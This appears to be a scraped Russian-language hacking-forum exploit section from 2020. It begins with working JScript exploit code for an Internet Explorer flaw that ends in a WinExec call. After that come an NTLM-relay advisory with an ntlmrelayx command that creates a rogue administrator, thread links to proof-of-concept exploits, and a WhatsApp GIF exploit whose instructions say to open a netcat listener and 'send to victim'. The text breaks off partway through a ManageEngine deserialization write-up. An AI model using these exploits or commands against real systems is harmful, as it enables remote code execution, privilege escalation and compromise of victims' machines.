    "\u0003\u0010" + // ContextFlags
    "\u0000\u0000" + // MxCsr
    "\u0033" + // SegCs
    "\u0000" + // SegDs
    "\u0000" + // SegEs
    "\u0000" + // SegFs
    "\u0000" + // SegGs
    "\u002b" + // SegSs
    "\u0246\u0000" + // EFlags
    "\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too!
    "\u0000\u0000\u0000\u0000" + // Dr1
    "\u0000\u0000\u0000\u0000" + // Dr2
    "\u0000\u0000\u0000\u0000" + // Dr3
    "\u0000\u0000\u0000\u0000" + // Dr6
    "\u0000\u0000\u0000\u0000" + // Dr7
    "\u0000\u0000\u0000\u0000" + // Rax
    generate_gadget_string(command_address) + // Rcx - Command pointer
    "\u0000\u0000\u0000\u0000" + // Rdx - SW_HIDE
    "\u0000\u0000\u0000\u0000" + // Rbx
    generate_gadget_string(leaked_stack_ptr) + // Rsp - Leaked Stack pointer
    "\u0000\u0000\u0000\u0000" + // Rbp
    "\u0000\u0000\u0000\u0000" + // Rsi
    "\u0000\u0000\u0000\u0000" + // Rdi
    "\u0040\u0000\u0000\u0000" + // R8
    "\u0000\u0000\u0000\u0000" + // R9
    "\u0000\u0000\u0000\u0000" + // R10
    "\u0000\u0000\u0000\u0000" + // R11
    "\u0000\u0000\u0000\u0000" + // R12
    "\u0000\u0000\u0000\u0000" + // R13
    "\u0000\u0000\u0000\u0000" + // R14
    "\u0000\u0000\u0000\u0000" + // R15
    generate_gadget_string(kernel32_winexec_export); // Rip - WinExec() call
}


// trigger_exec: Triggers code execution by creating a fake VAR of type 0x81, setting it's vftable to the payload, and causing execution by using typeof.
function trigger_exec(obj_addr, command_address, leaked_stack_ptr, kernel32_winexec_export) {
    rewrite(make_variant(0x81, leak_lower + 96, 0) + make_variant(0, obj_addr.lower + 2 * (pad_size), 0) + generate_context(command_address, leaked_stack_ptr, kernel32_winexec_export));
    write_debug("[*] About to trigger...");
    typeof fakeobj_var;
}


// leak_stack_ptr: Leaks a stack pointer in order to avoid stack pivot detection in the CONTEXT structure.
function leak_stack_ptr() {
    leak_obj = new Object(); // Create an object
    obj_addr = addrof(leak_obj); // Get address
    csession_addr = read_dword(obj_addr + 24, 0, 1); // Get CSession from offset 24
    stack_addr_lower = read_dword(csession_addr + 80, 0, 1); // Get the lower half of the stack pointer from offset 80
    stack_addr_upper = read_dword(csession_addr + 84, 0, 1); // Get the upper half of the stack pointer from offset 84
    return {'lower': stack_addr_lower, 'upper': stack_addr_upper};
}


// string_addr: Gets the address of a string in an object that can be used in a chain.
function string_addr(string_to_get) {
    return {'lower': addrof(string_to_get), 'upper': 0};
}


// main: The entire exploit.
function main(){
    // Setup functions
    lfh_trigger(); // Trigger LFH - May or may not make the exploit more reliable, but can't hurt

    // Leak VAR
    leak_var();

    // Identify offset for reliable rewrite
    get_rewrite_offset();

    // Test rewrite
    test_rewrite();

    // Create a fake VAR
    get_fakeobj();

    // Test fakeobj rewrite
    test_fakeobj();

    // Output results so far
    write_debug("[+] Leaked address 0x" + leak_lower.toString(16) + " is at offset " + leak_offset);

    // Test read
    test_read();

    // Get the module base for jscript
    jscript_base = leak_jscript_base();

    // Get the msvcrt base by following the jscript import table
    mscvcrt_leak = leak_module(jscript_base, 0x6376736d, 0x642e7472);
    msvcrt_base = find_module_base(mscvcrt_leak);
    write_debug("[+] Found msvcrt base at 0x" + msvcrt_base.upper.toString(16) + " 0x" + msvcrt_base.lower.toString(16));

    // Get the ntdll base by following the msvcrt import table
    ntdll_leak = leak_module(msvcrt_base, 0x6c64746e, 0x6c642e6c);
    ntdll_base = find_module_base(ntdll_leak);
    write_debug("[+] Found ntdll at 0x" + ntdll_base.upper.toString(16) + " 0x" + ntdll_base.lower.toString(16));

    // Get the kernel32 base by following the jscript import table
    kernel32_leak = leak_module(jscript_base, 0x4e52454b, 0x32334c45);
    kernel32_base = find_module_base(kernel32_leak);
    write_debug("[+] Found kernel32 at 0x" + kernel32_base.upper.toString(16) + " 0x" + kernel32_base.lower.toString(16));

    // Find the WinExec function address from kernel32
    kernel32_winexec_export = leak_export(kernel32_base, 0x456e6957, 0, 0, 0);
    write_debug("[+] Found WinExec at 0x" + kernel32_winexec_export.upper.toString(16) + " 0x" + kernel32_winexec_export.lower.toString(16));

    // Find the NtContinue function address from ntdll
    ntdll_ntcontinue_export = leak_export(ntdll_base, 0x6f43744e, 0x6e69746e, 0, 0);
    write_debug("[+] Found NtContinue at 0x" + ntdll_ntcontinue_export.upper.toString(16) + " 0x" + ntdll_ntcontinue_export.lower.toString(16));

    // Get the address of the command to be executed
    command_address = string_addr(command);

    // Leak the stack pointer
    leaked_stack_ptr = leak_stack_ptr();

    // Create fake object and vftable
    obj_addr = generate_obj_vftable(ntdll_ntcontinue_export);

    // Generate context and trigger code execution
    trigger_exec(obj_addr, command_address, leaked_stack_ptr, kernel32_winexec_export);
}


// Call main()
main();
        </script>
    </head>
</html>

Гит: https://github.com/maxpl0it/CVE-2020-0674-Exploit
Инфа: <https://labs.f-secure.com/blog/internet-exploiter-understanding- vulnerabilities-in-internet-explorer>

Security Feature Bypass, Microsoft Windows Task Scheduler, CVE-2020-1113
ID: 67686ba3b4103b69df379cbf
Thread ID: 37477
Created: 2020-05-18T16:28:28+0000
Last Post: 2020-05-20T16:27:07+0000
Author: DarckSol
Prefix: Remote
Replies: 1 Views: 2K

################################################################################

COMPASS SECURITY ADVISORY

https://www.compass-security.com/research/advisories/

################################################################################

Product: Windows Task Scheduler

Vendor: Microsoft

CSNC ID: CSNC-2010-001

CVE ID: CVE-2020-1113

Subject: Security Feature Bypass

Risk: High

Effect: Remotely exploitable

Authors: Sylvain Heiniger <[sylvain.heiniger@compass-

security.com](mailto:sylvain.heiniger@compass-security.com)>

Date: 14.05.2020

################################################################################

Introduction:
-------------
NTLM relay attacks are well-known for privilege escalation in Windows networks.

Compass Security identified a security feature bypass vulnerability in
Microsoft Windows. Due to the absence of integrity verification requirements
for the RPC protocol and in particular the Task Scheduler, a man-in-the-middle
attacker can relay his victim's NTLM authentication to a target of his choice
over the RPC protocol. Provided the victim has administrative privileges on
the target, the attacker can execute code on the remote target.

Affected:
---------
Vulnerable:

  • Windows 7
  • Windows 8.1
  • Windows 10
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2016
  • Windows Server 2019

For details about the affected versions and the relevant update, please refer
to Microsoft's website [1].

Technical Description:
----------------------
To the best of our knowledge, there is currently no way to require signing on
RPC connections hence relay attacks can be performed over RPC. A hardened
system where a classical SMB relay attack would fail is still vulnerable to an
attacker who can relay HTTP, SMB or RPC connections to RPC.

MS-TSCH is the protocol to manage scheduled tasks. The protocol does not
specify any requirement for the server in terms of checking integrity of
received data.

Our modified version of impacket [2] includes a new RPCRelayServer and
RPCRelayClient as well as an RPCAttack (based on ATExec). In our setup, the
attacker machine has the IP 172.16.100.21 while the victim machine DC is a
Windows Server 2016 with the IP 172.16.100.1.

We run the ntmlrelayx tool with arguments -t and -c to specify your target and
command

ntlmrelayx.py -ip 0.0.0.0 -t rpc://172.16.100.1 -c "net user compass

StrongPass.123 /add && net localgroup Administrators compass /add"
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation
[] Protocol Client SMB loaded..
[
] Protocol Client HTTP loaded..
[] Protocol Client HTTPS loaded..
[
] Protocol Client MSSQL loaded..
[] Protocol Client SMTP loaded..
[
] Protocol Client RPC loaded..
[] Protocol Client LDAP loaded..
[
] Protocol Client LDAPS loaded..
[] Protocol Client IMAP loaded..
[
] Protocol Client IMAPS loaded..
[] Running in relay mode to single host
[
] Setting up RPC Server
[] Setting up SMB Server
[
] Setting up HTTP Server
[*] Servers started, waiting for connections
...

Trigger a connection to the attacker machine. In this case the user
WINLAB\scooper-da, who is in the local Administrators group of the DC machine,
makes an SMB connection from the machine with IP 172.16.100.14 to the attacker
machine on IP 172.16.100.21.

net view \\172.16.100.21\noshare\

The tool picks up the connection and relays it:
...
[] SMBD-Thread-4: Received connection from 172.16.100.14, attacking
target rpc://172.16.100.1
[
] Authenticating against rpc://172.16.100.1 as WINLAB\scooper-da SUCCEED
[] Trying to execute specified command (net user compass StrongPass.123
/add && net localgroup Administrators compass /add)
[
] Creating task \WeumPsdH
[] Running task \WeumPsdH
[
] Deleting task \WeumPsdH

As a result, the given command is executed (through a scheduled task) and a
new local administrator is created.

Workaround / Fix:
-----------------

  • Patch your Windows.
  • Enforce packet signing for clients and servers via GPO.
  • Check you Active Directory ACLs: Least privilege principle should be used.
  • Network segmentation can help prevent relaying attacks.

Timeline:
---------
2020-01-27: Discovery by Sylvain Heiniger
2020-01-29: Initial vendor notification
2020-01-29: Initial vendor response
2020-02-13: Vendor acknowledgement
2020-04-16: CVE-2020-1113 assigned
2020-05-12: Release of fixed version as part of Patch Tuesday [1]
2020-05-14: Public disclosure
2020-06-14: Proof-of-concept code disclosure [3]

References:
-----------
[1] <https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2020-1113>
[2] https://github.com/SecureAuthCorp/impacket
[3] https://github.com/CompassSecurity/impacket

[ Packet Storm ](https://packetstormsecurity.com/files/157730/Microsoft-

Windows-Task-Scheduler-Security-Feature-Bypass.html)

Information Security Services, News, Files, Tools, Exploits, Advisories, and Whitepapers

packetstormsecurity.com packetstormsecurity.com

RCE, SaltStack, CVE-2020-11651&CVE-2020-11652
ID: 67686ba3b4103b69df379cc0
Thread ID: 37199
Created: 2020-05-09T16:41:16+0000
Last Post: 2020-05-18T10:14:37+0000
Author: Novel
Prefix: Remote
Replies: 2 Views: 2K

PoC: https://github.com/0xc0d/CVE-2020-11651

github.com

[ GitHub - jasperla/CVE-2020-11651-poc: PoC exploit of CVE-2020-11651 and

CVE-2020-11652 ](https://github.com/jasperla/CVE-2020-11651-poc)

PoC exploit of CVE-2020-11651 and CVE-2020-11652. Contribute to jasperla/CVE-2020-11651-poc development by creating an account on GitHub.

github.com github.com

github.com

[ GitHub - dozernz/cve-2020-11651

](https://github.com/dozernz/cve-2020-11651)

Contribute to dozernz/cve-2020-11651 development by creating an account on GitHub.

github.com github.com

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Ffc9676fc196ad2f6f32e95ce819d4d7cfdb8a82cc9963a1bcf43f9a305b57eb0%2FImanfeng%2FSaltStack- Exp&hash=9151388f2fac1a3c5435cc28538f85cc&return_error=1)

[ GitHub - Imanfeng/SaltStack-Exp: CVE-2020-11651&&CVE-2020-11652 EXP

](https://github.com/Imanfeng/SaltStack-Exp)

CVE-2020-11651&&CVE-2020-11652 EXP. Contribute to Imanfeng/SaltStack-Exp development by creating an account on GitHub.

github.com github.com

Инфо: https://saltexploit.com/

Double-Free bug, WhatsApp exploit (PoC), CVE-2020-11932
ID: 67686ba3b4103b69df379cc1
Thread ID: 37260
Created: 2020-05-12T17:36:44+0000
Last Post: 2020-05-12T17:36:44+0000
Author: tabac
Prefix: DoS
Replies: 0 Views: 2K

CVE-2020-11932 - Double-Free bug in WhatsApp exploit POC

__

[ CVE - CVE-2020-11932 ](https://cve.mitre.org/cgi-

bin/cvename.cgi?name=CVE-2020-11932)

cve.mitre.org

#Note: Make sure to set the listner ip in exploit.c inorder to get shell

Click to expand...

  • nc -lvp 1337 or whatever port.
  • and then compile.
  • make
  • or
  • gcc -o exploit egif_lib.c exploit.c
  • then run ./exploit and save the content to .gif
  • and send to victim.

Источник:
https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/.

github.com

[ GitHub - ProjectorBUg/CVE-2020-11932: Double-Free BUG in WhatsApp

exploit poc. ](https://github.com/ProjectorBUg/CVE-2020-11932)

Double-Free BUG in WhatsApp exploit poc. Contribute to ProjectorBUg/CVE-2020-11932 development by creating an account on GitHub.

github.com github.com

RCE. Gitlab 11.11 - 12.9.0, CVE N/A
ID: 67686ba3b4103b69df379cc2
Thread ID: 37157
Created: 2020-05-08T11:37:31+0000
Last Post: 2020-05-08T15:16:45+0000
Author: Novel
Prefix: Web
Replies: 3 Views: 2K
Data disclosure, Android, CVE-2020-7958
ID: 67686ba3b4103b69df379cc3
Thread ID: 36835
Created: 2020-04-28T15:32:29+0000
Last Post: 2020-04-28T15:32:29+0000
Author: tabac
Prefix: DoS
Replies: 0 Views: 2K

CVE-2020-7958 biometric data extraction in Android devices

__

NVD - CVE-2020-7958

![nvd.nist.gov](/proxy.php?image=https%3A%2F%2Fnvd.nist.gov%2Fsite- media%2Fimages%2Ffavicons%2Ffavicon-32x32.png&hash=c2e63f3f7701e49493712e42a1b49706&return_error=1) nvd.nist.gov

Разбор и анализ:

![www.synopsys.com](/proxy.php?image=https%3A%2F%2Fimages.synopsys.com%2Fis%2Fimage%2Fsynopsys%2Fsynopsys- logo-thumbnail%3F%24social- post%24&hash=bff964f57477ce943b9a50b1cc770d18&return_error=1)

Understanding CVE-2020-7958: Biometric Data Extraction in Android | Synopsys Blog

Explore our thorough analysis of CVE-2020-7958, where we delve into trustlets, their role in Android's Trusted Execution Environment, and potential attack methods.

![www.synopsys.com](/proxy.php?image=https%3A%2F%2Fwww.synopsys.com%2Fetc.clientlibs%2Fsynopsys%2Fclientlibs%2Fsynopsys- pagelibs%2Fresources%2Fimages%2Ffavicon.ico&hash=b8d748ce3279e00b8ebfddfd26d59cb3&return_error=1) www.synopsys.com

CVSS 3.0 vector:

Code:Copy to clipboard

AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:N/A:N/E:F/RL:O/RC:C/CR:H/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
RCE, Android 8.0-9.0 Bluetooth, CVE-2020-0022 (BlueFrag)
ID: 67686ba3b4103b69df379cc4
Thread ID: 36806
Created: 2020-04-27T19:22:59+0000
Last Post: 2020-04-28T15:29:59+0000
Author: Novel
Prefix: Remote
Replies: 2 Views: 2K

PoC: <https://insinuator.net/wp- content/uploads/2020/04/cve_2020_0022_export.tar.gz>

CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0022

Инфо: новость появилась ещё в феврале -

__

[ Critical Bluetooth Vulnerability in Android (CVE-2020-0022) – BlueFrag

](https://insinuator.net/2020/02/critical-bluetooth-vulnerability-in-android- cve-2020-0022/)

On November 3rd, 2019, we have reported a critical vulnerability affecting the Android Bluetooth subsystem. This vulnerability has been assigned CVE-2020-0022 and was now patched in the latest security patch from February 2020. The security impact is as follows: On Android 8.0 to 9.0, a...

![insinuator.net](/proxy.php?image=https%3A%2F%2Finsinuator.net%2Fwp- content%2Fthemes%2Finsinuator2%2Fimages%2Ffavicons%2Ffavicon-96x96.png&hash=1b86367132137c982566588a3ae1ac43&return_error=1) insinuator.net

PoC и разбор релизнули только сейчас - <https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth- zero-click-rce-bluefrag/>

Ссылки: https://github.com/marcinguy/CVE-2020-0022

RCE, vmware vCenter 6.7, CVE-2020-3952.
ID: 67686ba3b4103b69df379cc5
Thread ID: 36807
Created: 2020-04-27T19:33:08+0000
Last Post: 2020-04-27T19:33:08+0000
Author: Novel
Prefix: Web
Replies: 0 Views: 2K

PoC: https://github.com/guardicore/vmware_vcenter_cve_2020_3952
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3952
Инфо: <https://www.guardicore.com/2020/04/pwning-vmware-vcenter- cve-2020-3952/>

LPE, Windows 10 x64, CVE-2020-0791
ID: 67686ba3b4103b69df379cc6
Thread ID: 36625
Created: 2020-04-21T19:50:40+0000
Last Post: 2020-04-21T19:50:40+0000
Author: tabac
Prefix: DoS
Replies: 0 Views: 2K

Windows 10 x64 1909 • 10.0.18362.657 (WinBuild.160101.0800)
Out Of Bounds Read and Write

__

[ CVE - CVE-2020-0791 ](https://cve.mitre.org/cgi-

bin/cvename.cgi?name=CVE-2020-0791)

cve.mitre.org

[ https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2020-0791 ](https://portal.msrc.microsoft.com/en- US/security-guidance/advisory/CVE-2020-0791)

An elevation of privilege vulnerability exists when the Windows Graphics Component improperly handles objects in memory, aka 'Windows Graphics Component Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2020-0898.

Click to expand...

CVE-2020-0791

__

CVE-2020-0791

Check Point Research Vulnerability Repository

cpr-zero.checkpoint.com

LPE, Windows BIT service, CVE-2020-0787
ID: 67686ba3b4103b69df379cc7
Thread ID: 36034
Created: 2020-04-03T10:19:22+0000
Last Post: 2020-04-03T10:19:22+0000
Author: Novel
Prefix: Local
Replies: 0 Views: 2K
LPE, Windows UPnP, CVE-2019-1405 + CVE-2019-1322 (COMahawk)
ID: 67686ba3b4103b69df379cc8
Thread ID: 36013
Created: 2020-04-02T20:33:37+0000
Last Post: 2020-04-02T20:33:37+0000
Author: Novel
Prefix: Local
Replies: 0 Views: 2K
RCE/Memory Corruption, Microsoft Exchange, CVE-2020-0688
ID: 67686ba3b4103b69df379cc9
Thread ID: 36011
Created: 2020-04-02T19:03:49+0000
Last Post: 2020-04-02T19:03:49+0000
Author: Novel
Prefix: Remote
Replies: 0 Views: 2K

PoC: https://github.com/Yt1g3r/CVE-2020-0688_EXP
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0688
Статья:[https://www.trustedsec.com/blog/det...n-vulnerability-on-microsoft- exchange-server/](https://www.trustedsec.com/blog/detecting- cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange- server/)

RCE, liferay < 7.2.1, CVE-2020-7961
ID: 67686ba3b4103b69df379cca
Thread ID: 35997
Created: 2020-04-02T17:02:34+0000
Last Post: 2020-04-02T17:02:34+0000
Author: Novel
Prefix: Remote
Replies: 0 Views: 2K

java framework LifeRay < 7.2.1
PoC: https://github.com/mzer0one/-POC
CVE:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7961
Источник:[https://www.synacktiv.com/posts/pen...feray-cve-2020-7961-quick- journey-to-poc.html](https://www.synacktiv.com/posts/pentest/how-to-exploit- liferay-cve-2020-7961-quick-journey-to-poc.html)

RCE, Zoho ManageEngine Desktop Central, CVE-2020-10189
ID: 67686ba3b4103b69df379ccb
Thread ID: 35395
Created: 2020-03-07T13:11:42+0000
Last Post: 2020-03-07T13:11:42+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 2K

PoC

Python:Copy to clipboard

#!/usr/local/bin/python3
"""
ManageEngine Desktop Central FileStorage getChartImage Deserialization of Untrusted Data Remote Code Execution Vulnerability

Download: https://www.manageengine.com/products/desktop-central/download-free.html
File ...: ManageEngine_DesktopCentral_64bit.exe
SHA1 ...: 73ab5bb00f993685c711c0aed450444795d5b826
Found by: mr_me
Date ...: 2019-12-12
Class ..: CWE-502
CVSS ...: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

## Summary:

An unauthenticated attacker can reach a Deserialization of Untrusted Data vulnerability that can allow them to execute arbitrary code as SYSTEM/root.

## Vulnerability Analysis:

In the web.xml file, we can see one of the default available servlets is the `CewolfServlet` servlet.

```
<servlet>
    <servlet-name>CewolfServlet</servlet-name>
    <servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class>

    <init-param>
        <param-name>debug</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>overliburl</param-name>
        <param-value>/js/overlib.js</param-value>
    </init-param>
    <init-param>
        <param-name>storage</param-name>
        <param-value>de.laures.cewolf.storage.FileStorage</param-value>
    </init-param>

    <load-on-startup>1</load-on-startup>
</servlet>

    ...

<servlet-mapping>
    <servlet-name>CewolfServlet</servlet-name>
    <url-pattern>/cewolf/*</url-pattern>
</servlet-mapping>
```

This servlet, contains the following code:

```
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        if (debugged) {
            logRequest(request);
        }
        addHeaders(response);
        if ((request.getParameter("state") != null) || (!request.getParameterNames().hasMoreElements())) {
            requestState(response);
            return;
        }
        int width = 400;
        int height = 400;
        boolean removeAfterRendering = false;
        if (request.getParameter("removeAfterRendering") != null) {
            removeAfterRendering = true;
        }
        if (request.getParameter("width") != null) {
            width = Integer.parseInt(request.getParameter("width"));
        }
        if (request.getParameter("height") != null) {
            height = Integer.parseInt(request.getParameter("height"));
        }
        if (!renderingEnabled) {
            renderNotEnabled(response, 400, 50);
            return;
        }
        if ((width > config.getMaxImageWidth()) || (height > config.getMaxImageHeight())) {
            renderImageTooLarge(response, 400, 50);
            return;
        }
        String imgKey = request.getParameter("img");                                // 1
        if (imgKey == null) {
            logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response,
                    width, height);
            return;
        }
        Storage storage = config.getStorage();
        ChartImage chartImage = storage.getChartImage(imgKey, request);             // 2
```

At [1] the code sets the `imgKey` variable using the GET parameter `img`. Later at [2], the code then calls the `storage.getChartImage` method with the attacker supplied `img`. You maybe wondering what class the `storage` instance is. This was mapped as an initializing parameter to the servlet code in the web.xml file:

```
    <init-param>
        <param-name>storage</param-name>
        <param-value>de.laures.cewolf.storage.FileStorage</param-value>
    </init-param>
```

```
public class FileStorage implements Storage {
    static final long serialVersionUID = -6342203760851077577L;
    String basePath = null;
    List stored = new ArrayList();
    private boolean deleteOnExit = false;

    //...

    public void init(ServletContext servletContext) throws CewolfException {
        basePath = servletContext.getRealPath("/");
        Configuration config = Configuration.getInstance(servletContext);
        deleteOnExit = "true".equalsIgnoreCase("" + (String) config.getParameters().get("FileStorage.deleteOnExit"));
        servletContext.log("FileStorage initialized, deleteOnExit=" + deleteOnExit);
    }

    //...

    private String getFileName(String id) {
        return basePath + "_chart" + id;                                            // 4
    }

    //...

    public ChartImage getChartImage(String id, HttpServletRequest request) {
        ChartImage res = null;
        ObjectInputStream ois = null;
        try {
            ois = new ObjectInputStream(new FileInputStream(getFileName(id)));      // 3
            res = (ChartImage) ois.readObject();                                    // 5
            ois.close();
        } catch (Exception ex) {
            ex.printStackTrace();
        } finally {
            if (ois != null) {
                try {
                    ois.close();
                } catch (IOException ioex) {
                    ioex.printStackTrace();
                }
            }
        }
        return res;
    }
```

At [3] the code calls `getFileName` using the attacker controlled `id` GET parameter which returns a path to a file on the filesystem using `basePath`. This field is set in the `init` method of the servlet. On the same line, the code creates a new `ObjectInputStream` instance from the supplied filepath via `FileInputStream`. This path is attacker controlled at [4], however, there is no need to (ab)use traversals here for exploitation.

The most important point is that at [5] the code calls `readObject` using the contents of the file without any further lookahead validation.

## Exploitation:

For exploitation, an attacker can (ab)use the `MDMLogUploaderServlet` servlet to plant a file on the filsystem with controlled content inside. Here is the corresponding web.xml entry:

```
<servlet>
    <servlet-name>MDMLogUploaderServlet</servlet-name>
    <servlet-class>com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet</servlet-class>
</servlet>

...

<servlet-mapping>
    <servlet-name>MDMLogUploaderServlet</servlet-name>
    <url-pattern>/mdm/mdmLogUploader</url-pattern>
    <url-pattern>/mdm/client/v1/mdmLogUploader</url-pattern>
</servlet-mapping>
```

```
public class MDMLogUploaderServlet extends DeviceAuthenticatedRequestServlet {
    private Logger logger = Logger.getLogger("MDMLogger");
    private Long customerID;
    private String deviceName;
    private String domainName;
    private Long resourceID;
    private Integer platformType;
    private Long acceptedLogSize = Long.valueOf(314572800L);

    public void doPost(HttpServletRequest request, HttpServletResponse response, DeviceRequest deviceRequest)
            throws ServletException, IOException {
        Reader reader = null;
        PrintWriter printWriter = null;

        logger.log(Level.WARNING, "Received Log from agent");

        Long nDataLength = Long.valueOf(request.getContentLength());

        logger.log(Level.WARNING, "MDMLogUploaderServlet : file conentent lenght is {0}", nDataLength);

        logger.log(Level.WARNING, "MDMLogUploaderServlet :Acceptable file conentent lenght is {0}", acceptedLogSize);
        try {
            if (nDataLength.longValue() <= acceptedLogSize.longValue()) {
                String udid = request.getParameter("udid");                                                                     // 1
                String platform = request.getParameter("platform");
                String fileName = request.getParameter("filename");                                                             // 2
                HashMap deviceMap = MDMUtil.getInstance().getDeviceDetailsFromUDID(udid);
                if (deviceMap != null) {
                    customerID = ((Long) deviceMap.get("CUSTOMER_ID"));
                    deviceName = ((String) deviceMap.get("MANAGEDDEVICEEXTN.NAME"));
                    domainName = ((String) deviceMap.get("DOMAIN_NETBIOS_NAME"));
                    resourceID = ((Long) deviceMap.get("RESOURCE_ID"));
                    platformType = ((Integer) deviceMap.get("PLATFORM_TYPE"));
                } else {
                    customerID = Long.valueOf(0L);
                    deviceName = "default";
                    domainName = "default";
                }
                String baseDir = System.getProperty("server.home");

                deviceName = removeInvalidCharactersInFileName(deviceName);

                String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + customerID
                        + File.separator + deviceName + "_" + udid;                                                             // 3

                File file = new File(localDirToStore);
                if (!file.exists()) {
                    file.mkdirs();                                                                                              // 4
                }
                logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{localDirToStore});

                fileName = fileName.toLowerCase();
                if ((fileName != null) && (FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z"))) {            // 5
                    logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload {0}", fileName);
                    response.sendError(403, "Request Refused");
                    return;
                }
                String absoluteFileName = localDirToStore + File.separator + fileName;                                          // 6

                logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName});

                InputStream in = null;
                FileOutputStream fout = null;
                try {
                    in = request.getInputStream();                                                                              // 7
                    fout = new FileOutputStream(absoluteFileName);                                                              // 8

                    byte[] bytes = new byte['✐'];
                    int i;
                    while ((i = in.read(bytes)) != -1) {
                        fout.write(bytes, 0, i);                                                                                // 9
                    }
                    fout.flush();
                } catch (Exception e1) {
                    e1.printStackTrace();
                } finally {
                    if (fout != null) {
                        fout.close();
                    }
                    if (in != null) {
                        in.close();
                    }
                }
                SupportFileCreation supportFileCreation = SupportFileCreation.getInstance();
                supportFileCreation.incrementMDMLogUploadCount();
                JSONObject deviceDetails = new JSONObject();
                deviceDetails.put("platformType", platformType);
                deviceDetails.put("dataId", resourceID);
                deviceDetails.put("dataValue", deviceName);
                supportFileCreation.removeDeviceFromList(deviceDetails);
            } else {
                logger.log(Level.WARNING,
                        "MDMLogUploaderServlet : Going to reject the file upload as the file conentent lenght is {0}",
                        nDataLength);
                response.sendError(403, "Request Refused");
                return;
            }
            return;
        } catch (Exception e) {
            logger.log(Level.WARNING, "Exception   ", e);
        } finally {
            if (reader != null) {
                try {
                    reader.close();
                } catch (Exception ex) {
                    ex.fillInStackTrace();
                }
            }
        }
    }
```

```
    private static boolean isContainDirectoryTraversal(String fileName) {
        if ((fileName.contains("/")) || (fileName.contains("\\"))) {
            return true;
        }
        return false;
    }

    //...

    public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) {
        if ((isContainDirectoryTraversal(fileName)) || (isCompletePath(fileName))
                || (!isValidFileExtension(fileName, allowedFileExt))) {
            return true;
        }
        return false;
    }
```

We can see that at [1] the `udid` variable is controlled using the `udid` GET parameter from a POST request. At [2] the `fileName` variable is controlled from the GET parameter `filename`. This `filename` GET parameter is actually filtered in 2 different ways for malicious values. At [3] a path is contructed using the GET parameter from [1] and at [4] a `mkdirs` primitive is hit. This is important because the _charts directory doesn't exist on the filesystem which is needed in order to exploit the deserialization bug. There is some validation on the `filename` at [5] which calls `FileUploadUtil.hasVulnerabilityInFileName` to check for directory traversals and an allow list of extensions.

Of course, this doesn't stop `udid` from containing directory traversals, but I digress. At [6] the `absoluteFileName` variable is built up from the attacker influenced path at [3] using the filename from [2] and at [7] the binary input stream is read from the attacker controlled POST body. Finally at [8] and [9] the file is opened and the contents of the request is written to disk. What is not apparent however, is that further validation is performed on the `filename` at [2]. Let's take one more look at the web.xml file:

```
<init-param>
    <param-name>config-file</param-name>
    <param-value>security-regex.xml,security-mdm-regex.xml,security-mdm-api-regex.xml,security-properties.xml,security-common.xml,security-admin-sec-settings.xml,security-fws.xml,security-api.xml,security-patch-restapi.xml,security-mdm-groupdevices.xml,security-mdm-admin.xml,security-mdm-general.xml,security-mdm-agent.xml,security-mdm-reports.xml,security-mdm-inventory.xml,security-mdm-appmgmt.xml,security-mdm-docmgmt.xml,security-mdm-configuration.xml,security-defaultresponseheaders.xml,security-mdm-remote.xml,security-mdm-api-json.xml,security-mdm-api-get.xml,security-mdm-api-post.xml,security-mdm-api-put.xml,security-mdm-api-delete.xml,security-mdm-privacy.xml,security-mdm-osmgmt.xml,security-mdmapi-appmgmt.xml,security-mdmapi-profilejson.xml,security-mdmapi-profilemgmt.xml,security-mdm-compliance.xml,security-mdm-geofence.xml,security-mdmapi-sdp.xml,security-mdmp-CEA.xml,security-mdmapi-supporttab.xml,security-mdmapi-general.xml,security-mdm-roles.xml,security-mdm-technicians.xml,security-mdm-cea.xml,security-mdmapi-content-mgmt.xml,security-config.xml,security-patch.xml,security-patch-apd-scan.xml,security-patch-apd-scan-views.xml,security-patch-deployment.xml,security-patch-views.xml,security-patch-config.xml,security-patch-onpremise.xml,security-patch-server.xml,security-onpremise-common.xml,security-mdm-onpremise-files.xml,security-mdmapi-directory.xml,security-admin.xml,security-onpremise-admin.xml,security-reports.xml,security-inventory.xml,security-custom-fields.xml</param-value>
</init-param>
```

The file that stands out is the `security-mdm-agent.xml` config file. The corrosponding entry for the `MDMLogUploaderServlet` servlet looks like this:

```
        <url path="/mdm/mdmLogUploader" apiscope="MDMCloudEnrollment"  authentication="required" duration="60" threshold="10" lock-period="60" method="post" csrf="false">
            <param name="platform" regex="ios|android"/>
            <param name="filename" regex="logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip"/>
            <param name="uuid" regex="safestring"/>
            <param name="udid" regex="udid"/>
            <param name="erid" type="long"/>
